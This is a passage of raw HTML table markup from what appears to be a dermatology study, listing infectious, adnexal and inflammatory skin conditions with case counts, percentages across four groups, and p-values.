style=\"font-size:10.0pt\">Herpes</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (3.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Onychomycosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (3.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Zona</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (3.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Anogenitalcondyloma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Gonorrhea</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (3.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Furonculo&iuml;dmiyasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tungiasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Measles</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Oral condyloma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Meadow</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 ( 0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erysipela</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Adnexal dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sudamina</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">34(100.0)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">8 (88.9)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (50.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (3.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acne vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (50.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">28 (87.5)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.002</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Nail incarnated</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (11.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (9.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Inflammatory dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vitiligo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">4 (100.0)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (62.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (36.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (53.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lichen planus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6 (27.3)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (6.7)</span></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.001</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erythema multiform</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (13.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (13.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Psoriasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (13.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Granuloma annulare</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (37.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			